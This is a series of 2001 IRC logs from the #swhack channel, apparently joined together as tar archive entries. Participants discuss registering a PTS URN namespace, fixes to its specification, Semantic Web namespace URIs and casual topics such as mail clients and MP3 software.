Yes! Why not? 02:58:42 <AaronSw> If not now, never. 02:58:59 <sbp> Well, we haven't asked Sandro, or read the URN materials (well, I have) 02:59:20 <AaronSw> Well that's what the 2-week discussion period is for. 02:59:30 <sbp> correct:- 02:59:30 <sbp> Registration date: 2001-07-21 02:59:36 <sbp> and thne send it :-) 02:59:53 <AaronSw> Should you send it or should I? 03:00:19 <sbp> you can, if you really really want to 03:00:33 <AaronSw> well i'm not the declared registrant 03:00:40 <sbp> send it from seanaaron@blogspace.com :-) 03:01:01 <AaronSw> No, seriously. 03:01:25 <sbp> Oh fuck, just change the registration details then! 03:01:31 <AaronSw> Thank you. 03:02:14 <sbp> That part of the registration form is actually a bit bizarre 03:02:22 <AaronSw> Why? 03:02:26 <sbp> Registration date: 2001-07-21 03:02:29 <sbp> oops 03:02:56 <sbp> URNs are supposed not to change, and this particular scheme delegates away the authority according to a strict algorithm 03:03:18 <sbp> how can one "own" an algorithm, and why the feck would one want to? 03:03:52 <sbp> anyway... have you sent it yet? Who did you send it to? Can you CC it to www-archive if you haven't sent it already? 03:04:10 <AaronSw> urn-nid, uri@w3.org, sandro, tim kindberg, you 03:04:15 <AaronSw> do we really need www-archive too? 03:04:19 <sbp> Wow... nope 03:04:39 <sbp> It's 2001-08-03 03:04:52 <sbp> :-) 03:04:58 <AaronSw> Not where I am. ;-) 03:05:06 <sbp> He he he 03:05:08 <AaronSw> And I'm registering it. 03:05:15 <AaronSw> sent 03:05:19 <sbp> Cool! 03:06:11 <AaronSw> It's been two weeks since http://lists.research.netsol.com/pipermail/urn-nid/2001-July/000253.html 03:06:15 <AaronSw> What should we do now? 03:06:31 <sbp> http://lists.w3.org/Archives/Public/uri/2001Aug/0000 03:07:01 <sbp> we could send it to the proper registration email address, but there's no point if we move PTS through 03:07:18 <AaronSw> Isn't that the proper registration address? 03:07:25 <AaronSw> Pfft - Tim Kindberg is blocking my mail! 03:07:49 <sbp> No, you've got to send it to some other address when the review period is up 03:07:53 <sbp> let me find it... 03:09:21 <AaronSw> internet-drafts@ietf.org? 03:09:29 <sbp> nope 03:09:41 <sbp> After suggestions for clarification of the registration 03:09:42 <sbp> information have been incorporated, the template may be 03:09:42 <sbp> submitted to: 03:09:42 <sbp> iana@iana.org 03:09:42 <sbp> for assignment of a NID. 03:10:12 <sbp> interestingly, the original SWAG NID request contained errors, so the urn-nid list is not doing its job 03:10:29 <AaronSw> But the iana@iana.org address is for informal registrations 03:10:34 <AaronSw> This is a formal one. 03:10:59 <sbp> Oh, you're right 03:11:21 <sbp> Yes, whatever the email address is to start upon the long road to RFC status then 03:11:42 <sbp> informational: shouldn't take all that long... will it? 03:11:48 <AaronSw> I hope not 03:12:14 <AaronSw> This should go through pretty quickly 03:12:35 <sbp> Phew 03:13:03 <sbp> Quite a milestone in the history of the Semantic Web, I hope 03:13:09 <AaronSw> me too 03:13:35 <sbp> Just got the email... 03:14:43 <sbp> So, aren't you going to ask me the obvious question? 03:14:49 <AaronSw> Which is? 03:14:57 <sbp> What does PTS stand for? 03:14:58 <AaronSw> Am I the youngest RFC author? 03:15:04 <sbp> Ooh, that's a good one too 03:17:42 <AaronSw> OK, so i'll bite 03:17:47 <AaronSw> what does PTS stand for? 03:17:54 <sbp> I have no idea 03:18:01 <AaronSw> heh 03:18:21 <AaronSw> I always thought it was Person Time System/Stamp 03:18:36 <sbp> I thought up some acronym, and decided it was quite good... but then I forgot the expansion 03:18:56 <sbp> Call it what you want; although I think it's nice giving it a bit of "mysteriousness" 03:19:06 <AaronSw> Hmm, the PIN URN is interesting 03:19:10 <AaronSw> RFC 3043 03:19:20 <AaronSw> guess who's urn:pin:1 03:20:01 <sbp> No idea 03:20:39 <AaronSw> Michael Mealing! 03:20:50 <sbp> aha! 03:21:03 <AaronSw> Jan keeps reminding me that urn:pin is illegal in England, so you can't have one. 03:21:22 <sbp> illegal in England??? 03:21:54 <AaronSw> Yeah, he says that assigning a persistent identifier to a person is illegal due to privacy laws. 03:21:57 <AaronSw> Pretty silly if you ask me. 03:22:30 <sbp> it's illegal? 03:22:37 <AaronSw> that's what he says 03:22:48 <sbp> illegal? As in, against the law? really? 03:22:53 <AaronSw> yep 03:23:01 <AaronSw> * AaronSw finally gets the URN submission 03:23:18 <sbp> as in jail time if you set one up or used it? illegal? 03:23:32 <AaronSw> probably not jail time: more like a fine, i'd expect 03:23:51 <sbp> Aha, I see where you got urn:pin:1 from now 03:25:24 <AaronSw> ;-) 03:29:49 <sbp> Wow, we're good at selling this. We should have sold these things 03:30:11 <AaronSw> Get your persistent, lifetime URN! 03:30:28 <sbp> only $17.99! 03:30:36 <AaronSw> A month. ;-) 03:30:37 <sbp> per year... that'd fox 'em 03:30:40 <sbp> yes! 03:30:50 <AaronSw> * AaronSw laughs 03:33:26 <sbp> sbp has quit 05:05:10 <AaronSw> AaronSw has changed the topic to: <> a irc:Channel ; irc:topic "It's not illegal..." . 14:52:15 <sbp> sbp has joined #swhack 14:52:37 <sbp> Change that topic, boy! 14:52:56 <sbp> 'this a irc:Channel; irc:topic "It's not illegal..." .' 14:53:00 <sbp> But yes, very funny 15:01:01 <sbp> sbp has quit 15:11:05 <sbp> sbp has joined #swhack 15:50:44 <sbp> * sbp writes a homepage for PTS URNs 15:55:35 <AaronSw> AaronSw has changed the topic to: this a irc:Channel ; irc:topic "It's not illegal..." . 15:55:41 <sbp> :-) 15:55:43 <sbp> Hi Aaron 15:55:48 <AaronSw> Hi Sean 15:56:25 <AaronSw> So, the PTS homepage? urn:pts:w3.org,1990-01:pts 15:56:32 <sbp> lol 15:56:36 <sbp> Try: http://infomesh.net/2001/08/pts/ 15:57:07 <AaronSw> ooh, that's a no-no! 15:57:13 <AaronSw> you're supposed to use last month 15:57:24 <sbp> Heh... it's a URL, not a URN 15:57:33 <sbp> anyway, I noticed an error in the specification (oops) 15:57:35 <sbp> month = digitx0 | "10" | "11" | "12" 15:57:41 <sbp> should be:- 15:57:48 <sbp> month = "0" digitx0 | "10" | "11" | "12" 15:57:58 <AaronSw> Huh? 15:58:06 <sbp> 2001-01 rather than 2001-1 15:58:15 <AaronSw> Oh... 15:58:16 <sbp> YYYY-MM 15:58:51 <sbp> my mistake: I had originally put "0" | digitx0, and I got you to remove the '"0" |" rather than just the "|" 16:00:17 <AaronSw> want to email a fix? 16:00:25 <sbp> Yeah, I'll do it 16:01:59 <AaronSw> I'll edit the one on logicerror.com 16:02:15 <AaronSw> I suppose this is version 2, now 16:03:24 <sbp> Yes 16:03:29 <sbp> Gotta run (to send the email!) 16:03:31 <sbp> sbp has quit 16:12:23 <sbp> sbp has joined #swhack 16:12:56 <sbp> Hmph: the only slow bit is logging back onto OPN. I'm having real difficulties getting through 16:13:09 <sbp> I had to load up 8 windows and try 8 different servers earlier! 16:13:19 <AaronSw> heh 16:13:36 <sbp> sagan and carter seem to be fairly good 16:16:20 <sbp> another thing that needs clarifying in the specification:- 16:16:29 <sbp> s/for a calendar month,/for a calendar month (UTC), 16:16:41 <sbp> Picky, but it needs to be said... 16:18:23 <AaronSw> good point 16:19:09 <AaronSw> * AaronSw fixes the logicerror copy 16:19:58 <AaronSw> Do we require the full month? 16:20:11 <sbp> What do you mean? 16:20:39 <AaronSw> Upon ownership of a certain approved domain name for a *full* calendar month (UTC) 16:20:46 <sbp> Er... yeah, that's a good point 16:20:51 <sbp> It's only in the example at the moment 16:21:12 <AaronSw> We could do it for the last day, you know, or when the month switches or something... 16:21:17 <AaronSw> this is pribably simpelr tho 16:21:42 <sbp> Small updates: http://infomesh.net/2001/08/pts/ 16:21:55 <sbp> last day? 16:22:13 <sbp> Oh, like who owns it on midnight on the 1st? 16:22:24 <AaronSw> right 16:22:52 <AaronSw> Actually, the first day would be better. 16:23:09 <sbp> That gives people more change to fudge it, by signing a domain over for one second to someone and then signing it back... I think the "own for a month" gives credibility to the authority compoenent 16:23:09 <AaronSw> RIght, then you could use that PTS the whole month (as you're already doing) 16:23:30 <sbp> But then the person who owns it for the rest of that month isn't going to be a happy bunny... 16:23:53 <AaronSw> why not? 16:24:23 <sbp> Because people will be creating PTSs in 2001-08 (say), but they can publish stuff on the Website at /2001/08/ just fine 16:24:48 <AaronSw> Oh, I see... 16:25:09 <sbp> I think that a month proves stability for that particular component 16:25:16 <AaronSw> ok 16:25:25 <sbp> (actually, that's a problem with tag:) 16:25:44 <AaronSw> """the IETF hands these particular components out""" - i thoughit it was IANA 16:25:46 <sbp> it was even worse for TANN! They had microseconds... 16:25:54 <sbp> Hmm... 16:26:15 <sbp> So did I: I thought they did the nid-x things 16:26:45 <sbp> Yeah, they do 16:26:55 <sbp> IANA do nid-x, and IETF do nid 16:27:02 <sbp> That's a bit weird 16:27:25 <sbp> BTW: note that really people only ever need one authority component 16:27:38 <sbp> As long as they're good with namespace management :-) 16:28:24 <AaronSw> :-) 16:28:49 <sbp> I'll bet that most people will use the current month just to be on the safe side though... coul dhelp when large companies are using them. Although, of course, large companies could split the names up based on employee name/ref or something 16:29:05 <sbp> But then, they should be using sub domains for that, I think 16:29:11 <AaronSw> You mean the previous month. 16:29:22 <sbp> er... yes 16:29:24 <sbp> * sbp ducks 16:29:36 <AaronSw> Sean jumpts the gun.. 16:29:38 <sbp> I meant the "current valid month" 16:30:06 <AaronSw> :Aaron :creator <urn:rfc:3xxx> . 16:30:10 <AaronSw> Woohoo! 16:30:29 <AaronSw> ;-) 16:30:29 <sbp> <urn:rfc:3xxx> dc:creator :Sean, :Aaron . 16:30:42 <sbp> Yeah, I wonder if you will be the youngest author? 16:31:26 <AaronSw> Hmm... 16:31:47 <AaronSw> See, I'll start with URNs and media types, work my way up to RDF metadata spec, 16:31:51 <sbp> * sbp wonders where one goes to find that sort of information out 16:31:58 <AaronSw> until I replace the world with Semantic protocols! 16:32:08 <AaronSw> Why you ask the semantic web, of course! ;-) 16:32:23 <sbp> What URI do I use? 16:32:39 <AaronSw> swag:dateOfBirth 16:33:00 <sbp> * sbp begins to wonder what Aaron's talking about 16:33:09 <sbp> Anyway, so, to get back to our original arguement 16:33:29 <AaronSw> Which one is that? 16:33:38 <sbp> We should use urn:pts:swag.semanticweb.org,2001-07:util: for the SWAG UTIL namespace 16:33:50 <AaronSw> ok 16:34:04 <sbp> * sbp can only just believe that to resolve one of our petty arguments, we wrote an RFC 16:34:13 <sbp> :-) 16:34:23 <AaronSw> Wow, that worked well... ;-) 16:34:38 <sbp> Yeah! We should argue more often 16:35:11 <sbp> (you're meant to say, "no we shouldn't") 16:35:22 <AaronSw> :-) 16:35:37 <AaronSw> Someone at the SWWS (was it Eric?... no I think it was Hendler) 16:35:49 <AaronSw> had this plan for a Semantic Web Service where'd you give it your preferences 16:35:58 <AaronSw> and tell it, say, I 16:36:02 <AaronSw> and tell it, say, I'm in the mood to argue today! 16:36:11 <AaronSw> And it would find someone to argue with you. 16:36:20 <AaronSw> Reminded me of that Monty Python skit... 16:36:21 <sbp> no it wouldn't 16:36:34 <AaronSw> Anyway, I already have one of those. ;-) 16:36:43 <sbp> Yeah: IRC! 16:38:05 <sbp> It's a bummer we have to wait two weeks for the old URN list to do nothing, when we know we're not going to recieve any comments 16:38:36 <AaronSw> You don't think Sandro will file a lawsuit? 16:39:23 <sbp> Well, I did try to ping him about it on IRC, but no reply. So tough, really. PTS is sufficiently different from TAG and TAG registration has been sufficiently slow that I don't think they'll care 16:40:10 <sbp> and if they do, they are quite free to voice their concerns. I don't think there's any that they can raise that will force us to abandon PTS though 16:40:52 <sbp> PTS URNs are necessarily persistent, with tag: URIs, you can't tell. That's the main difference 16:41:03 <AaronSw> Why can't you tell? 16:41:25 <sbp> Because for some reason (to get out of using URNs) they said that tag: URIs can have temporary denotations 16:41:34 <AaronSw> ick\ 16:41:35 <sbp> try: http://www.taguri.org/ at the bottom 16:45:12 <sbp> should PTS always be capitalized, in your opinion? 16:45:27 <AaronSw> Why do you say that? 16:45:47 <sbp> For consistency 16:48:55 <AaronSw> Is it just me or is taguri.org down? 16:50:32 <sbp> correct 17:01:12 <AaronSw> Hmm, I'm not sure if the context of the topic is an IRC channel... i don't think that's true 17:01:26 <AaronSw> AaronSw has changed the topic to: <irc://irc.openprojects.net/swhack> a irc:Channel ; irc:topic "It's not illegal..." . 17:07:11 <sbp> sbp has quit 17:15:25 <sbp> sbp has joined #swhack 17:21:35 <sbp> sbp has quit 17:59:18 <sbp> sbp has joined #swhack 18:13:01 <sbp> sbp has quit 18:22:40 <sbp> sbp has joined #swhack 18:24:01 <sbp> and :W3CUniverse rdfs:subClassOf :WWW . 18:24:19 <AaronSw> this a :MatterOfSomeDispute . 18:24:41 <sbp> :-) 18:25:31 <sbp> sbp has quit 19:36:30 <sbp> sbp has joined #swhack 19:39:31 <AaronSw> Hello. 19:39:46 <sbp> Hello? 19:39:50 <sbp> Oh, hello 19:53:25 <AaronSw> AaronSw has changed the topic to: <irc://irc.openprojects.net/swhack> a irc:Channel ; irc:topic "It's not illegal...yet." . 19:53:37 <sbp> N.B., if you hug me, I'm going to attempt to lift you up above my head... so be prepared 19:54:17 <AaronSw> OK 19:54:23 <sbp> Hey, cool: FYI. We, at NIST, have been following the development of EARL and are going to 19:54:23 <sbp> try a couple of examples of the output of our WebSAT tool ( that does some 19:54:23 <sbp> usability checking) represented in EARL 19:54:33 <sbp> [end quote] 19:57:00 <sbp> Well... if they haven't got some persistent Webspace, then they will feck it up 19:57:29 <sbp> That seems to be the biggest problem with ATR: they're currently using example.org on all the output... people don't seem to understand about URIs and persistence 19:57:49 <AaronSw> ick 19:57:51 <sbp> Which is annoying, because they just about get RDF, and really quickly too. I'm amazed how fast Chris picked it up 19:58:17 <sbp> But without persistent decentralized terms, EARL is pointless. You may as well use a database 19:59:14 <sbp> Perhaps we could register a nid-<n> really quickly, if it'll be of any help... this is a very crucial reason why I want [ daml:oneOf (:TAG :PTS) ] to go through. 20:02:10 <AaronSw> It'd probably take just as long. 20:02:24 <sbp> Yeah, probably 20:02:43 <sbp> Although, informal registration should only take a few weeks 20:08:20 <AaronSw> logger, off 20:08:27 <AaronSw> logster, off 20:20:39 <logster> logster has joined #swhack 20:20:39 <niven.openprojects.net> topic is: <irc://irc.openprojects.net/swhack> a irc:Channel ; irc:topic "It's not illegal...yet." . 20:20:39 <niven.openprojects.net> Users on #swhack: logster sbp googler AaronSw 20:20:44 <AaronSw> Hello logster 20:21:08 <sbp> Who's them?# 20:21:14 <AaronSw> WHO? 20:21:28 <sbp> the who, who are they? 20:21:32 <AaronSw> huh? 20:21:49 <sbp> The Who, you know, with Pete Townshend 20:22:32 <sbp> Who? 20:22:34 <AaronSw> Hmm, I didn't read the junk you put into the channel this morning... 20:22:55 <sbp> What junk is that? Oh, the Metafilter thing? Man, that was funny! 20:23:27 <AaronSw> Yes, the metafilter junk 20:23:45 <sbp> Yep, that sure was funny 20:24:21 <sbp> So, how many weeks allowance did it take to get 5+ domain names? 20:24:33 <AaronSw> Well, they're only 8 bucks now...so... 20:24:55 <AaronSw> 4 wks 20:25:09 <sbp> * sbp starts to work that out, and gives in 20:25:44 <sbp> But I assume that you spend some money on candy and diet coke, right? 20:25:57 <AaronSw> No! 20:26:19 <sbp> And baseball cards, and Pokemon games, and so forth 20:26:32 <AaronSw> I don't eat candy and won't have caffeine...except for some OpenCola which Tom brought to SWWS, but that was an exception 20:27:02 <sbp> I love candy, and don't have caffiene and alcahol 20:34:13 <sbp> So, Barry Bonds or Luis Gonzalez to win total home runs this season? 20:35:03 <sbp> * sbp knows he may as well have asked, "which do you prefer, igpswjgpsrjo, or pirjgpip" 20:35:24 <AaronSw> The one with the Bs in his name... 20:35:33 <AaronSw> It sounds better. 20:38:04 <sbp> sbp has quit 20:42:48 <sbp> sbp has joined #swhack 20:43:11 <sbp> Neither of them have the string "Bs" in them 21:39:48 <sbp> sbp has quit 21:40:15 <sbp> sbp has joined #swhack 21:58:22 <AaronSw> I think a story is appropriate here... 21:58:33 <AaronSw> When I was a little boy I wondered what foreign people would do with a dictionary. 21:58:44 <AaronSw> They'd open it up, turn to a word and try and read the definition. 21:58:51 <AaronSw> But the definition was made out of... more words! 21:58:59 <AaronSw> So they'd quickly look those up, and see their definitions... 21:59:06 <AaronSw> which had, of course, more unknown words 21:59:16 <AaronSw> so they'd go around in loops and loops until they'd read the whole dictionary! 21:59:52 <AaronSw> Similarly, a machine will never figure out what a URI means, since all it can find are other URIs. 22:00:02 <sbp> Not unlike TimBLs thoughts... 22:00:10 <AaronSw> URI? ;-) 22:00:36 <sbp> http://logicerror.com/weavingTheWeb 22:01:02 <AaronSw> TimBL is the only one who understands this stuff -- there are no semantics in the Semantic Web. 22:01:35 <sbp> of course, the semantics are just interpretations 22:01:39 <sbp> that's obvious 22:02:29 <AaronSw> the logicians don't seem to get it... 22:15:14 <AaronSw> Hmm, this looks helpful: http://www.rfc-editor.org/nroff.html 22:15:55 <sbp> logicians tend to be isolated from the real world 22:16:47 <sbp> interesting nroffing 22:25:24 <AaronSw> SUBMIT-TWO-WEEKS-FROM-NOW ;-) 22:25:34 <sbp> Yeah! 22:32:23 <AaronSw> Heh, Google uses Python: http://www.google.com/jobs/openings.html#crawl 22:33:21 <sbp> Heh, cool 22:33:31 <sbp> and it seems that Python can handle TB of data then :-) 22:33:55 <sbp> Imagine being entrusted with TeraBytes of data! Er... I lost a bit 22:34:07 <AaronSw> Heh 22:41:47 <sbp> sbp has quit 22:42:37 <sbp> sbp has joined #swhack 22:43:16 <sbp> Hmm... it would connect to sagan. directly, but it got to it through irc. 22:43:19 <sbp> strange! 22:55:49 <AaronSw> Sean, why does the tag draft use ::= 22:55:53 <AaronSw> and ours doesn't? 22:56:01 <sbp> they use ABNF 22:56:10 <AaronSw> Nope: 22:56:10 <AaronSw> The general syntax of a 'tag' URI, in BNF, is: 22:56:19 <sbp> Yeah, I noticed that too 22:56:23 <sbp> I think it's a typo 22:56:32 <AaronSw> Tell Sandro 23:16:40 <AaronSw> I'll be back 8:55 CST 23:16:54 <AaronSw> Err, CDT 23:17:27 <AaronSw> 2001-08-03T20:55-0500 23:21:29 <sbp> Will do 23:21:34 <sbp> c'ya! 23:21:47 <AaronSw> See you then. 23:43:29 <sbp> sbp has quit ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-08-04.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000001632�07333020732�012003� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:00:13 <sbp> sbp has joined #swhack 00:51:23 <sbp> sbp has quit 01:00:56 <sbp> sbp has joined #swhack 01:56:27 <sbp> sbp has quit 09:10:55 <irc.openprojects.net> Disconnected from irc.openprojects.net (ERROR :Closing Link: logster[v123-1.ARSDigita.seg.NET] by niven.openprojects.net (Ping timeout for logster[v123-1.ARSDigita.seg.NET])) 09:11:38 <logster> logster has joined #swhack 09:11:38 <sagan.openprojects.net> Users on #swhack: logster AaronSw googler 10:19:35 <googler> googler has quit 10:24:28 <googler> googler has joined #swhack 13:29:30 <googler> googler has quit 13:29:52 <googler> googler has joined #swhack 13:30:10 <googler> googler has quit 13:41:17 <googler> googler has joined #swhack 14:15:22 <googler> googler has quit 14:15:36 <googler> googler has joined #swhack 14:36:23 <sbp> sbp has joined #swhack 15:12:46 <sbp> sbp has quit 16:04:00 <sbp> sbp has joined #swhack 16:24:58 <sbp> sbp has quit ������������������������������������������������������������������������������������������������������2001-08-09.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000003737�07334620500�012020� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������20:22:24 <logster> logster has joined #swhack 20:22:24 <forward.openprojects.net> topic is: <irc://irc.openprojects.net/swhack> a irc:Channel ; irc:topic "Where do you want the Semantic Web today?" . 20:22:24 <forward.openprojects.net> Users on #swhack: logster @AaronSw 23:11:58 <sbp> sbp has joined #swhack 23:26:26 <sbp> Aaron, you there? 23:26:44 <AaronSw> sora 23:26:47 <AaronSw> err sorta 23:26:48 <sbp> O.K. if I upload the stuff I have for SURF to SWAG so that you can start fecking with it? 23:26:54 <AaronSw> copying things from server to home 23:27:04 <sbp> Yuck 23:27:05 <AaronSw> yeah, sure 23:27:09 <AaronSw> yeah, i know 23:27:15 <AaronSw> it's an absolute nightmare 23:27:23 <sbp> I have two pages, one for a specification, and one for a general introduction... what URIs shall IO use? 23:28:27 <sbp> s/IO/I 23:28:39 <AaronSw> SURF-intro and SURF-spec with /SURF linking to both with a brief overview 23:29:10 <sbp> O.K. 23:30:20 <sbp> er... I'll use http://purl.org/swag/surf-1 as the namespace 23:30:28 <sbp> or s/-/\/? 23:30:47 <AaronSw> why not just swag/surf ? 23:31:32 <sbp> future versions? 23:31:39 <sbp> and anyway, we shoyld put some RDDL there 23:31:47 <sbp> rather than use the intro page 23:31:48 <AaronSw> why would we need future versions 23:31:58 <AaronSw> we can put rddl on the intro page -- in fact, where better? 23:32:09 <sbp> true 23:32:13 <sbp> O.K., I'll use that 23:33:16 <sbp> BTW, something's up with the character entity encoding on Blogspace: it loses it after you feed it through once 23:33:36 <AaronSw> even with entities? 23:33:38 <AaronSw> how odd... 23:35:24 <sbp> yeah... it's quite annoying too, when doing code in <pre> 23:36:04 <AaronSw> I'd say I'd look into it, but the truth is I won't. 23:36:16 <AaronSw> I'm hoping to get Blogspace -Py out soon. 23:36:53 <sbp> cool 23:38:11 <sbp> http://purl.org/swag/surf 23:47:33 <AaronSw> cool 23:48:09 <sbp> Gotta run: to print out something (I need the modem plug!) 23:48:14 <AaronSw> ok 23:48:16 <sbp> sbp has quit ���������������������������������2001-08-10.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000001727�07334651236�012017� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:36:27 <sbp> sbp has joined #swhack 00:49:26 <sbp> does my blogspace.com mail still work? 00:49:54 <AaronSw> yes, mail has been diverted to another server 00:50:51 <sbp> can I access it? 01:04:36 <AaronSw> yes 01:04:47 <sbp> how? 01:04:48 <AaronSw> mail.swartzfam.com is your POP 01:05:28 <sbp> * sbp tries it 01:05:51 <sbp> doesn't work 01:06:07 <AaronSw> in what way? 01:06:21 <sbp> authentication problem 01:06:26 <AaronSw> oh, that's right -- it won't work for you... 01:06:32 <AaronSw> are you expecting mail there? 01:07:08 <sbp> I don't know; that's why I want to check it! 01:07:23 <AaronSw> I'm sorry! I knew I'd forgotten something 01:07:34 <AaronSw> fwiw there was no mail before the server went down 01:08:18 <sbp> sbp has quit 01:08:24 <AaronSw> i'll set it up now to temproarily redirect to mysterylights, if that's ok 01:13:14 <sbp> sbp has joined #swhack 01:13:59 <AaronSw> AaronSw has quit 01:31:06 <sbp> sbp has quit 03:18:54 <AaronSw> AaronSw has joined #swhack �����������������������������������������2001-08-30.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000005020�07343551070�012002� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:10:52 <logster> logster has joined #swhack 00:10:52 <niven.openprojects.net> topic is: "Trying to fix HTML is like trying to graft arms and legs onto hamburger." - Ted Nelson | "I'd like to say thank you on behalf of the group and ourselves" - John Lennon 00:10:52 <niven.openprojects.net> Users on #swhack: logster tav|away AaronSw deltab 00:10:59 <AaronSw> * AaronSw waves to logster 00:31:47 <sbp> sbp has joined #swhack 00:48:57 <AaronSw> * AaronSw waves to sbp, logster 00:49:21 <sbp> * sbp waves to AaronSw, logster 00:56:00 <sbp> sbp has quit 00:56:06 <sbp> sbp has joined #swhack 01:07:56 <tav|away> tav|away is now known as tav 01:29:33 <sbp> sbp has quit 01:53:43 <sbp> sbp has joined #swhack 02:02:36 <sbp> sbp has quit 19:23:18 <Phactorial> Phactorial has joined #swhack 19:26:26 <Phactorial> Phactorial has quit 20:07:12 <Phactorial> Phactorial has joined #swhack 20:09:50 <Phactorial> Phactorial has quit 22:39:21 <sbp> sbp has joined #swhack 22:39:34 <sbp> sbp has quit 22:39:43 <sbp> sbp has joined #swhack 23:32:50 <sbp> [[[ 23:32:50 <sbp> Yessir. You call that poetry? It's just strings of random words; any 23:32:50 <sbp> attempt to find meaning in random words is like trying to find meaning in 23:32:50 <sbp> random words, meaning that in random words, there may or may not be 23:32:50 <sbp> meaning, meaning that meaning is meaning and words are words. 23:32:51 <sbp> ]]] 23:37:48 <AaronSw> :-) 23:38:13 <sbp> How much wood does a woodchuck chuck? 23:38:24 <AaronSw> Well, a woodchuck don't chuck wood. 23:38:35 <sbp> so none, then 23:39:23 <sbp> O.K., so how much wood would a woodchuck chuck if a woodchuck could chuck wood? 23:40:23 <AaronSw> beats me 23:40:50 <sbp> what are deltab and tav doing in here? Do they ever say stuff? 23:41:04 <AaronSw> Yes, tav says hmz and deltab says heh. 23:41:07 <sbp> or are they just decoration, to make the channel look used 23:41:09 <AaronSw> :-) 23:41:14 <sbp> ah 23:41:40 <AaronSw> But they're good people... I like 'em 23:41:48 <sbp> Who are they? 23:41:54 <AaronSw> They're espians. 23:42:09 <AaronSw> Geez, you're really out of touch sbp. You need to spend more time in IRC. 23:42:34 <sbp> I've just wasted an hour here; what more do you want? 23:42:45 <AaronSw> heh 23:42:59 <sbp> seriously though, I should email the ISP people 23:43:23 <AaronSw> which ones? 23:43:27 <AaronSw> the ones who cut you off? 23:44:24 <sbp> well, it's a problem locally, I think 23:50:33 <AaronSw> which ones? 23:50:53 <sbp> the new one 23:51:31 <sbp> apologies, gotta run 23:52:00 <AaronSw> bye 23:54:32 <sbp> sbp has quit ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-08-31.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000021474�07344015110�012005� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:11:00 <logster> logster has joined #swhack 00:11:00 <benford.openprojects.net> topic is: "Trying to fix HTML is like trying to graft arms and legs onto hamburger." - Ted Nelson | "I'd like to say thank you on behalf of the group and ourselves" - John Lennon 00:11:00 <benford.openprojects.net> Users on #swhack: logster tav AaronSw 01:02:10 <deltab> deltab has joined #swhack 01:41:54 <deltab> deltab has quit 01:42:06 <deltab> deltab has joined #swhack 02:18:30 <sbp> sbp has joined #swhack 02:42:57 <sbp> sbp has quit 03:16:05 <Morbus> Morbus has joined #swhack 03:16:13 <AaronSw> * AaronSw notes we're going off topic and invites Morbus to #swhack to continue the discussion 03:16:13 <AaronSw> <Morbus> does mail store the mail in plain text files with no addtl markup? thats what i like about eudora. 03:16:15 <Morbus> god, you use'd rage? bwahahah. 03:16:22 <AaronSw> Apple Mail does. 03:16:34 <Morbus> actually, thats ok. i used oe 4.0 before they ruined it with 4.5 03:16:39 <AaronSw> 'rage made me spend a long time to get my data back, and I still haven't done it all 03:16:54 <Morbus> i think the main reason i didn't like Mail was because i couldn't seem to turn off html mail 03:17:02 <AaronSw> oh, that's easy to fix. 03:17:08 <AaronSw> (I was the same way at first) 03:17:26 <Morbus> ah. well, i'll have to hit you up when 10.1 comes. i del'd it off my machine 03:17:32 <AaronSw> heh 03:18:12 <Morbus> did you ever try athena out? the new beta supports multiple connections 03:18:13 <AaronSw> it's attachments suck, tho -- they're not compatible with anything, it seems 03:18:25 <Morbus> does it have a filter to not download mail past 40k? 03:18:27 <AaronSw> no, never did try athena... now that i've paid for snak I'm sorta stuck 03:18:35 <AaronSw> mail filter: yes, and the size is configurable 03:18:37 <Morbus> i have that in eudora - all those damn peskysircam people. 03:18:49 <AaronSw> oh, right, you have 56K 03:18:59 <Morbus> yah. and i have no desire to get faster :) 03:19:30 <AaronSw> it's not so much "faster" as it's "always on" 03:20:09 <Morbus> eh. just cron your machine to dial in a few minutes before you wake up or get home. works fine for me ;) 03:20:30 <AaronSw> heh 03:20:49 <AaronSw> i assume you have two phone lines? 03:20:58 <Morbus> nope. i hate phone calls too. 03:21:05 <Morbus> i find phonebasher.com intensely hilarious 03:21:13 <AaronSw> cool, phones suck 03:21:22 <Morbus> yeah, man, they do. flipping piss me off. 03:21:36 <Morbus> huh. interesting. 03:21:54 <AaronSw> what is? 03:21:58 <Morbus> os x will allow me to play an mp3 in a finder window on one file, but not on another file with the same type/creator and extnsion 03:22:15 <Morbus> oh. duh. nevermind. 03:22:27 <Morbus> i suppose, yes, it is a good idea, not to let the user try to play a 0byte mp3. 03:23:01 <AaronSw> :-) crashed some mp3 software that way 03:23:07 <Morbus> heheh... 03:24:43 <Morbus> i'm still trying to find some sort of mp3 player that will allow me to query currently playing song. 03:24:51 <Morbus> i wanna do one of those stupid "i'm listenign to" things 03:24:59 <Morbus> for a webpage 03:25:03 <Morbus> or an rss item. 03:26:11 <AaronSw> ahh 03:27:26 <Morbus> finally found a xp napster alternative that works too. 03:28:30 <AaronSw> ah, what? 03:28:34 <AaronSw> i've been using audiogalaxy 03:28:38 <Morbus> same here :) 03:28:46 <Morbus> thats the one i "found". 03:28:47 <AaronSw> do they have an os x version? 03:28:51 <Morbus> yup. 03:28:55 <AaronSw> oh cooL! 03:28:57 <Morbus> well, no, they don't. 03:29:00 <Morbus> but someone hacked one up. 03:29:06 <Morbus> macsatellite over at versiontracker 03:29:10 <AaronSw> nice... i've been forwarding thru my linux box 03:29:25 <Morbus> a little quirky - don't drag and drop over it cos it'll crash immediately. 03:29:37 <Morbus> other than that, it doesn't support osx long filenames, but works fine. 